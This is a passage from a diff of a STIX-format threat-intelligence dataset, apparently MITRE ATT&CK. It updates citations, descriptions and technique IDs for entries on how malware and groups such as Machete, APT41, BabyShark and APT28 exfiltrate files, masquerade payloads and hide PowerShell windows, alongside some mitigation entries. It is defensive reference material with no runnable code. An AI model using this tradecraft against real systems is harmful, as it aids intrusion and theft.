], - "description": "[Machete](https://attack.mitre.org/software/S0409) collects the MAC address of the target computer.(Citation: ESET Machete July 2019) ", + "description": "[Machete](https://attack.mitre.org/software/S0409) collects the MAC address of the target computer and other network configuration information.(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020)", "relationship_type": "uses", "id": "relationship--6a9d747a-d2d6-48eb-92d0-441f1c127c4c", "type": "relationship", - "modified": "2019-10-07T15:16:12.157Z", + "modified": "2020-11-23T22:25:18.418Z", "created": "2019-09-13T13:50:37.752Z" }, { @@ -157323,17 +158835,22 @@ "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", "external_references": [ + { + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", + "source_name": "Cylance Machete Mar 2017" + }, { "source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019." } ], - "description": "[Machete](https://attack.mitre.org/software/S0409) copies files from newly inserted drives.(Citation: ESET Machete July 2019) ", + "description": "[Machete](https://attack.mitre.org/software/S0409) can find, encrypt, and upload files from fixed and removable drives.(Citation: Cylance Machete Mar 2017)(Citation: ESET Machete July 2019) ", "relationship_type": "uses", "id": "relationship--9cba53fd-9b5c-4dc3-b933-c167b1d62a03", "type": "relationship", - "modified": "2019-09-13T17:14:47.810Z", + "modified": "2020-11-20T20:11:15.531Z", "created": "2019-09-13T14:28:14.466Z" }, { @@ -157348,13 +158865,18 @@ "source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019." + }, + { + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", + "source_name": "Cylance Machete Mar 2017" } ], - "description": "[Machete](https://attack.mitre.org/software/S0409) stores files and logs in a folder on the local drive.(Citation: ESET Machete July 2019) ", + "description": "[Machete](https://attack.mitre.org/software/S0409) stores files and logs in a folder on the local drive.(Citation: ESET Machete July 2019)(Citation: Cylance Machete Mar 2017)", "relationship_type": "uses", "id": "relationship--79333543-6031-4aa4-91be-35d80fae8ed2", "type": "relationship", - "modified": "2020-03-17T00:17:53.029Z", + "modified": "2020-11-20T20:11:15.536Z", "created": "2019-09-13T14:28:14.469Z" }, { @@ -157432,13 +158954,23 @@ "source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019." + }, + { + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", + "source_name": "Cylance Machete Mar 2017" + }, + { + "source_name": "360 Machete Sep 2020", + "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", + "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020." } ], - "description": "[Machete](https://attack.mitre.org/software/S0409) produces file listings in order to search for files to be exfiltrated.(Citation: ESET Machete July 2019) ", + "description": "[Machete](https://attack.mitre.org/software/S0409) produces file listings in order to search for files to be exfiltrated.(Citation: ESET Machete July 2019)(Citation: Cylance Machete Mar 2017)(Citation: 360 Machete Sep 2020)", "relationship_type": "uses", "id": "relationship--d0c60722-e668-4597-a25f-f7e1eb1a5962", "type": "relationship", - "modified": "2019-10-07T15:16:12.239Z", + "modified": "2020-11-23T22:25:18.547Z", "created": "2019-09-13T16:47:13.103Z" }, { @@ -157521,13 +159053,18 @@ "source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019." + }, + { + "source_name": "Securelist Machete Aug 2014", + "url": "https://securelist.com/el-machete/66108/", + "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019." } ], - "description": "[Machete](https://attack.mitre.org/software/S0409) renamed payloads to masquerade as legitimate Google Chrome, Java, Dropbox, Adobe Reader and Python executables.(Citation: ESET Machete July 2019) ", + "description": "[Machete](https://attack.mitre.org/software/S0409) renamed payloads to masquerade as legitimate Google Chrome, Java, Dropbox, Adobe Reader and Python executables.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)", "relationship_type": "uses", "id": "relationship--72cb3a93-f4c1-43a8-9a62-43bf1f6f4889", "type": "relationship", - "modified": "2020-03-18T14:37:20.630Z", + "modified": "2020-11-20T20:11:15.704Z", "created": "2019-09-13T17:14:47.391Z" }, { @@ -157665,16 +159202,21 @@ "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "external_references": [ { - "source_name": "Security Intelligence More Eggs Aug 2019", + "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/", - "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019." + "source_name": "Security Intelligence More Eggs Aug 2019" + }, + { + "source_name": "ESET EvilNum July 2020", + "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021." } ], - "description": "[More_eggs](https://attack.mitre.org/software/S0284) has used cmd.exe for execution.(Citation: Security Intelligence More Eggs Aug 2019)", + "description": "[More_eggs](https://attack.mitre.org/software/S0284) has used cmd.exe for execution.(Citation: Security Intelligence More Eggs Aug 2019)(Citation: ESET EvilNum July 2020)", "relationship_type": "uses", "id": "relationship--3524e5ae-332f-4e53-8129-e638961cc38e", "type": "relationship", - "modified": "2020-03-20T01:56:05.549Z", + "modified": "2021-01-27T21:40:23.718Z", "created": "2019-09-16T19:41:10.066Z" }, { @@ -157808,6 +159350,20 @@ "modified": "2020-09-09T15:53:09.924Z", "created": "2019-09-16T19:42:21.183Z" }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547", + "target_ref": "attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11", + "relationship_type": "mitigates", + "description": "Restrict software installation to trusted repositories only and be cautious of orphaned software packages.", + "id": "relationship--8a67fe7a-4eb0-4dc8-bdd9-810eb05d8157", + "type": "relationship", + "modified": "2020-11-10T15:55:10.349Z", + "created": "2019-09-18T13:01:20.852Z" + }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -157957,16 +159513,21 @@ "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", "external_references": [ { - "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", "url": "https://content.fireeye.com/apt-41/rpt-apt41", - "source_name": "FireEye APT41 Aug 2019" + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019." + }, + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." } ], - "description": "[APT41](https://attack.mitre.org/groups/G0096) deployed rootkits on Linux systems.(Citation: FireEye APT41 Aug 2019)", + "description": "[APT41](https://attack.mitre.org/groups/G0096) deployed rootkits on Linux systems.(Citation: FireEye APT41 Aug 2019)(Citation: Crowdstrike GTR2020 Mar 2020)", "relationship_type": "uses", "id": "relationship--1be07717-ad08-4364-9a58-b44a95a389a5", "type": "relationship", - "modified": "2019-10-14T21:52:59.447Z", + "modified": "2020-12-22T17:48:21.071Z", "created": "2019-09-23T22:40:08.966Z" }, { @@ -158044,13 +159605,18 @@ "source_name": "FireEye APT41 Aug 2019", "url": "https://content.fireeye.com/apt-41/rpt-apt41", "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019." + }, + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." } ], - "description": "[APT41](https://attack.mitre.org/groups/G0096) used RDP for lateral movement.(Citation: FireEye APT41 Aug 2019)", + "description": "[APT41](https://attack.mitre.org/groups/G0096) used RDP for lateral movement.(Citation: FireEye APT41 Aug 2019)(Citation: Crowdstrike GTR2020 Mar 2020)", "relationship_type": "uses", "id": "relationship--e7bcc9e7-d373-4b1e-a664-886c4fc04bc5", "type": "relationship", - "modified": "2019-10-14T21:52:59.532Z", + "modified": "2020-12-22T17:34:53.094Z", "created": "2019-09-23T22:53:30.167Z" }, { @@ -158277,16 +159843,21 @@ "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "external_references": [ { - "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", "url": "https://content.fireeye.com/apt-41/rpt-apt41", - "source_name": "FireEye APT41 Aug 2019" + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019." + }, + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." } ], - "description": "[APT41](https://attack.mitre.org/groups/G0096) used compromised credentials to log on to other systems.(Citation: FireEye APT41 Aug 2019)", + "description": "[APT41](https://attack.mitre.org/groups/G0096) used compromised credentials to log on to other systems.(Citation: FireEye APT41 Aug 2019)(Citation: Crowdstrike GTR2020 Mar 2020)", "relationship_type": "uses", "id": "relationship--0528b64e-e719-44a9-94aa-0576bd9a87ec", "type": "relationship", - "modified": "2019-09-24T12:53:12.753Z", + "modified": "2020-12-22T17:48:21.255Z", "created": "2019-09-23T23:08:25.267Z" }, { @@ -158539,16 +160110,21 @@ "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "external_references": [ { - "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", "url": "https://content.fireeye.com/apt-41/rpt-apt41", - "source_name": "FireEye APT41 Aug 2019" + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019." + }, + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." } ], - "description": "[APT41](https://attack.mitre.org/groups/G0096) used a compromised account to create a scheduled task on a system.(Citation: FireEye APT41 Aug 2019)", + "description": "[APT41](https://attack.mitre.org/groups/G0096) used a compromised account to create a scheduled task on a system.(Citation: FireEye APT41 Aug 2019)(Citation: Crowdstrike GTR2020 Mar 2020)", "relationship_type": "uses", "id": "relationship--6a653820-adc1-4068-ab78-9165f2a2c5c1", "type": "relationship", - "modified": "2020-03-28T21:24:16.629Z", + "modified": "2020-12-22T17:48:21.355Z", "created": "2019-09-23T23:08:25.455Z" }, { @@ -159939,7 +161515,7 @@ "description": "Periodically check the integrity of images and containers used in cloud deployments to ensure they have not been modified to include malicious software.", "id": "relationship--f7a8b397-ecf3-456e-a395-568a41048609", "type": "relationship", - "modified": "2020-03-25T22:47:34.255Z", + "modified": "2021-04-12T18:28:28.124Z", "created": "2019-10-03T12:30:34.246Z" }, { @@ -159953,7 +161529,7 @@ "description": "Limit permissions associated with creating and modifying platform images or containers based on the principle of least privilege.", "id": "relationship--8dfdc783-d869-498b-b4e0-1d75b30e2d67", "type": "relationship", - "modified": "2020-03-25T22:47:34.276Z", + "modified": "2021-04-12T18:28:28.116Z", "created": "2019-10-03T15:30:27.826Z" }, { @@ -159967,7 +161543,7 @@ "description": "Protect domain controllers by ensuring proper security configuration for critical servers to limit access by potentially unnecessary protocols and services, such as SMB file sharing.", "id": "relationship--ff7f776f-001a-4c86-b359-08c89bd08b3e", "type": "relationship", - "modified": "2020-05-04T18:36:39.480Z", + "modified": "2021-04-20T16:21:28.928Z", "created": "2019-10-03T18:21:39.015Z" }, { @@ -159988,7 +161564,7 @@ } ], "type": "relationship", - "modified": "2020-03-24T18:31:06.695Z", + "modified": "2021-04-14T14:22:44.605Z", "created": "2019-10-03T19:28:39.221Z" }, { @@ -160037,7 +161613,7 @@ "description": "Users need to be trained to not authorize third-party applications they don\u2019t recognize. The user should pay particular attention to the redirect URL: if the URL is a misspelled or convoluted sequence of words related to an expected service or SaaS application, the website is likely trying to spoof a legitimate service. Users should also be cautious about the permissions they are granting to apps. For example, offline access and access to read emails should excite higher suspicions because adversaries can utilize SaaS APIs to discover credentials and other sensitive communications.", "id": "relationship--9c3d1701-b0ed-4a20-a864-d2681535cfa8", "type": "relationship", - "modified": "2020-07-14T19:16:31.117Z", + "modified": "2021-04-14T17:56:17.506Z", "created": "2019-10-04T19:37:26.696Z" }, { @@ -160070,16 +161646,21 @@ "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc", "external_references": [ { - "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "source_name": "Talos Olympic Destroyer 2018", "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", - "source_name": "Talos Olympic Destroyer 2018" + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019." + }, + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." } ], - "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) will shut down the compromised system after it is done modifying system configuration settings.(Citation: Talos Olympic Destroyer 2018)", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) will shut down the compromised system after it is done modifying system configuration settings.(Citation: Talos Olympic Destroyer 2018)(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "relationship_type": "uses", "id": "relationship--4932951a-b313-4024-bbad-434de3b747c5", "type": "relationship", - "modified": "2019-10-04T21:49:25.790Z", + "modified": "2020-11-30T18:05:53.597Z", "created": "2019-10-04T21:49:25.790Z" }, { @@ -160115,13 +161696,18 @@ "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.", "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html", "source_name": "Talos Nyetya June 2017" + }, + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." } ], - "description": "[NotPetya](https://attack.mitre.org/software/S0368) will reboot the system one hour after infection.(Citation: Talos Nyetya June 2017)", + "description": "[NotPetya](https://attack.mitre.org/software/S0368) will reboot the system one hour after infection.(Citation: Talos Nyetya June 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "relationship_type": "uses", "id": "relationship--aa158d48-a9f5-49bb-8f15-166705f29b36", "type": "relationship", - "modified": "2019-10-04T22:01:16.034Z", + "modified": "2020-11-30T17:38:42.826Z", "created": "2019-10-04T22:01:16.034Z" }, { @@ -160459,11 +162045,11 @@ "description": "Lim, M.. (2019, April 26). BabyShark Malware Part Two \u2013 Attacks Continue Using KimJongRAT and PCRat . Retrieved October 7, 2019." } ], - "description": "[BabyShark](https://attack.mitre.org/software/S0414) has a [PowerShell](https://attack.mitre.org/techniques/T1086)-based remote administration ability that can implement a PowerShell or C# based keylogger.(Citation: Unit42 BabyShark Apr 2019)", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has a [PowerShell](https://attack.mitre.org/techniques/T1059/001)-based remote administration ability that can implement a PowerShell or C# based keylogger.(Citation: Unit42 BabyShark Apr 2019)", "relationship_type": "uses", "id": "relationship--3a0c8e81-6110-4cf3-a965-b700e00fd66c", "type": "relationship", - "modified": "2020-03-16T15:58:20.735Z", + "modified": "2021-02-09T14:02:09.331Z", "created": "2019-10-07T19:05:49.030Z" }, { @@ -160475,16 +162061,21 @@ "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "external_references": [ { - "source_name": "Unit42 BabyShark Apr 2019", + "description": "Lim, M.. (2019, April 26). BabyShark Malware Part Two \u2013 Attacks Continue Using KimJongRAT and PCRat . Retrieved October 7, 2019.", "url": "https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/", - "description": "Lim, M.. (2019, April 26). BabyShark Malware Part Two \u2013 Attacks Continue Using KimJongRAT and PCRat . Retrieved October 7, 2019." + "source_name": "Unit42 BabyShark Apr 2019" + }, + { + "source_name": "CISA AA20-301A Kimsuky", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020." } ], - "description": "[BabyShark](https://attack.mitre.org/software/S0414) has downloaded additional files from the C2.(Citation: Unit42 BabyShark Apr 2019)", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has downloaded additional files from the C2.(Citation: Unit42 BabyShark Apr 2019)(Citation: CISA AA20-301A Kimsuky)", "relationship_type": "uses", "id": "relationship--18d97b33-8ad5-426e-a390-72bea109bee0", "type": "relationship", - "modified": "2019-10-14T19:52:22.667Z", + "modified": "2020-11-06T19:54:38.579Z", "created": "2019-10-07T19:05:49.045Z" }, { @@ -160601,16 +162192,21 @@ "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "external_references": [ { - "source_name": "Unit42 BabyShark Feb 2019", + "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.", "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", - "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019." + "source_name": "Unit42 BabyShark Feb 2019" + }, + { + "source_name": "CISA AA20-301A Kimsuky", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020." } ], - "description": "[BabyShark](https://attack.mitre.org/software/S0414) has added a Registry key to ensure all future macros are enabled for Microsoft Word and Excel as well as for additional persistence.(Citation: Unit42 BabyShark Feb 2019)", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has added a Registry key to ensure all future macros are enabled for Microsoft Word and Excel as well as for additional persistence.(Citation: Unit42 BabyShark Feb 2019)(Citation: CISA AA20-301A Kimsuky)", "relationship_type": "uses", "id": "relationship--ab322e5c-dfd2-45dd-bee1-59aec9d1d840", "type": "relationship", - "modified": "2019-10-14T19:52:22.665Z", + "modified": "2020-11-04T16:54:47.870Z", "created": "2019-10-07T19:05:49.072Z" }, { @@ -160690,11 +162286,11 @@ "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" } ], - "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to use -WindowStyle Hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1086) windows.(Citation: FireEye Operation Double Tap)", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to use -WindowStyle Hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows.(Citation: FireEye Operation Double Tap)", "relationship_type": "uses", "id": "relationship--1c1296da-4504-4f00-b16a-8ecc29820ea9", "type": "relationship", - "modified": "2019-10-11T19:27:53.005Z", + "modified": "2021-02-09T13:52:16.780Z", "created": "2019-10-07T22:15:43.675Z" }, { @@ -160708,7 +162304,7 @@ "description": "Administrators should perform an audit of all OAuth applications and the permissions they have been granted to access organizational data. This should be done extensively on all applications in order to establish a baseline, followed up on with periodic audits of new or updated applications. Suspicious applications should be investigated and removed.", "id": "relationship--4b5948b4-eba5-4af6-93d1-71b109167f62", "type": "relationship", - "modified": "2020-07-14T19:16:31.139Z", + "modified": "2021-04-14T17:56:17.499Z", "created": "2019-10-08T19:55:33.729Z" }, { @@ -160722,7 +162318,7 @@ "description": "A Cloud Access Security Broker (CASB) can be used to set usage policies and manage user permissions on cloud applications to prevent access to application access tokens.", "id": "relationship--d3e90e1c-b669-4909-ae44-75bfe8bf89e8", "type": "relationship", - "modified": "2020-07-14T19:16:31.141Z", + "modified": "2021-04-14T17:56:17.500Z", "created": "2019-10-08T19:55:33.750Z" }, { @@ -160736,7 +162332,7 @@ "description": "Administrators can block end-user consent to OAuth applications, disabling users from authorizing third-party apps through OAuth 2.0 and forcing administrative consent for all requests. They can also block end-user registration of applications by their users, to reduce risk. A Cloud Access Security Broker can also be used to ban applications.\n\nAzure offers a couple of enterprise policy settings in the Azure Management Portal that may help:\n\n\"Users -> User settings -> App registrations: Users can register applications\" can be set to \"no\" to prevent users from registering new applications. \n\"Enterprise applications -> User settings -> Enterprise applications: Users can consent to apps accessing company data on their behalf\" can be set to \"no\" to prevent users from consenting to allow third-party multi-tenant applications", "id": "relationship--25407fd4-3940-4446-9c17-6eebe902dbdf", "type": "relationship", - "modified": "2020-07-14T19:16:31.162Z", + "modified": "2021-04-14T17:56:17.521Z", "created": "2019-10-08T19:55:33.752Z" }, { @@ -160797,7 +162393,7 @@ "description": "Ensure that applications do not store sensitive data or credentials insecurely. (e.g. plaintext credentials in code, published credentials in repositories, or credentials in public cloud storage).", "id": "relationship--c8acdf40-8237-487f-8255-91afa327705d", "type": "relationship", - "modified": "2020-08-04T14:04:58.486Z", + "modified": "2021-04-12T18:27:52.679Z", "created": "2019-10-10T18:46:45.553Z" }, { @@ -160818,7 +162414,7 @@ } ], "type": "relationship", - "modified": "2020-07-14T19:17:44.658Z", + "modified": "2021-04-22T16:46:43.986Z", "created": "2019-10-10T19:17:52.805Z" }, { @@ -160861,11 +162457,11 @@ "source_name": "McAfee APT28 DDE1 Nov 2017" } ], - "description": "[APT28](https://attack.mitre.org/groups/G0007) has used the WindowStyle parameter to conceal [PowerShell](https://attack.mitre.org/techniques/T1086) windows.(Citation: Palo Alto Sofacy 06-2018) (Citation: McAfee APT28 DDE1 Nov 2017)", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used the WindowStyle parameter to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows.(Citation: Palo Alto Sofacy 06-2018) (Citation: McAfee APT28 DDE1 Nov 2017)", "relationship_type": "uses", "id": "relationship--27e91ac8-9463-4a7a-8f1f-89abeba1b02d", "type": "relationship", - "modified": "2020-03-20T16:37:06.311Z", + "modified": "2021-02-09T13:46:50.756Z", "created": "2019-10-10T21:54:00.462Z" }, { @@ -160887,11 +162483,11 @@ "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" } ], - "description": "[APT32](https://attack.mitre.org/groups/G0050) has used the WindowStyle parameter to conceal [PowerShell](https://attack.mitre.org/techniques/T1086) windows. (Citation: FireEye APT32 May 2017) (Citation: Cybereason Cobalt Kitty 2017)", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used the WindowStyle parameter to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows. (Citation: FireEye APT32 May 2017) (Citation: Cybereason Cobalt Kitty 2017)", "relationship_type": "uses", "id": "relationship--db8530c2-ce41-4943-8a17-91502187fd06", "type": "relationship", - "modified": "2019-10-11T19:30:18.670Z", + "modified": "2021-02-09T13:55:29.574Z", "created": "2019-10-10T21:57:37.023Z" }, { @@ -160908,11 +162504,11 @@ "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" } ], - "description": "[APT19](https://attack.mitre.org/groups/G0073) used -W Hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1086) windows by setting the WindowStyle parameter to hidden. (Citation: FireEye APT19)", + "description": "[APT19](https://attack.mitre.org/groups/G0073) used -W Hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows by setting the WindowStyle parameter to hidden. (Citation: FireEye APT19)", "relationship_type": "uses", "id": "relationship--2e6e8722-d09d-402e-9ea8-ccf8412339d0", "type": "relationship", - "modified": "2019-10-11T19:12:16.285Z", + "modified": "2021-02-09T13:56:35.269Z", "created": "2019-10-10T22:00:27.892Z" }, { @@ -160929,11 +162525,11 @@ "source_name": "ClearSky Wilted Tulip July 2017" } ], - "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) has used -w hidden and -windowstyle hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1086) windows. (Citation: ClearSky Wilted Tulip July 2017)", + "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) has used -w hidden and -windowstyle hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows. (Citation: ClearSky Wilted Tulip July 2017)", "relationship_type": "uses", "id": "relationship--948a5d37-65d1-403f-99bb-0f08186aeebc", "type": "relationship", - "modified": "2019-10-11T19:32:55.376Z", + "modified": "2021-02-09T13:50:21.135Z", "created": "2019-10-10T22:17:29.523Z" }, { @@ -160950,11 +162546,11 @@ "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" } ], - "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) has used -WindowStyle Hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1086) windows. (Citation: Unit 42 DarkHydrus July 2018)", + "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) has used -WindowStyle Hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows. (Citation: Unit 42 DarkHydrus July 2018)", "relationship_type": "uses", "id": "relationship--ab3cf933-236f-4255-9ca6-24826f9bbe99", "type": "relationship", - "modified": "2019-10-11T19:34:32.798Z", + "modified": "2021-02-09T13:51:14.503Z", "created": "2019-10-10T22:19:43.951Z" }, { @@ -160971,11 +162567,11 @@ "source_name": "Alperovitch 2014" } ], - "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has used -w hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1086) windows by setting the WindowStyle parameter to hidden. (Citation: Alperovitch 2014)", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has used -w hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows by setting the WindowStyle parameter to hidden. (Citation: Alperovitch 2014)", "relationship_type": "uses", "id": "relationship--673bf715-0ccc-48fd-93b5-570b417cc41a", "type": "relationship", - "modified": "2019-10-11T19:37:54.532Z", + "modified": "2021-02-09T13:49:09.760Z", "created": "2019-10-11T03:20:40.155Z" }, { @@ -160992,11 +162588,11 @@ "source_name": "Unit 42 Gorgon Group Aug 2018" } ], - "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) has used -W Hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1086) windows by setting the WindowStyle parameter to hidden. (Citation: Unit 42 Gorgon Group Aug 2018)", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) has used -W Hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows by setting the WindowStyle parameter to hidden. (Citation: Unit 42 Gorgon Group Aug 2018)", "relationship_type": "uses", "id": "relationship--85a1a7f3-bdcc-4473-ba3c-46d6946d6996", "type": "relationship", - "modified": "2019-10-11T19:39:42.608Z", + "modified": "2021-02-09T13:53:25.278Z", "created": "2019-10-11T03:22:46.389Z" }, { @@ -161013,11 +162609,11 @@ "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019." } ], - "description": "[KeyBoy](https://attack.mitre.org/software/S0387) uses -w Hidden to conceal a [PowerShell](https://attack.mitre.org/techniques/T1086) window that downloads a payload. (Citation: PWC KeyBoys 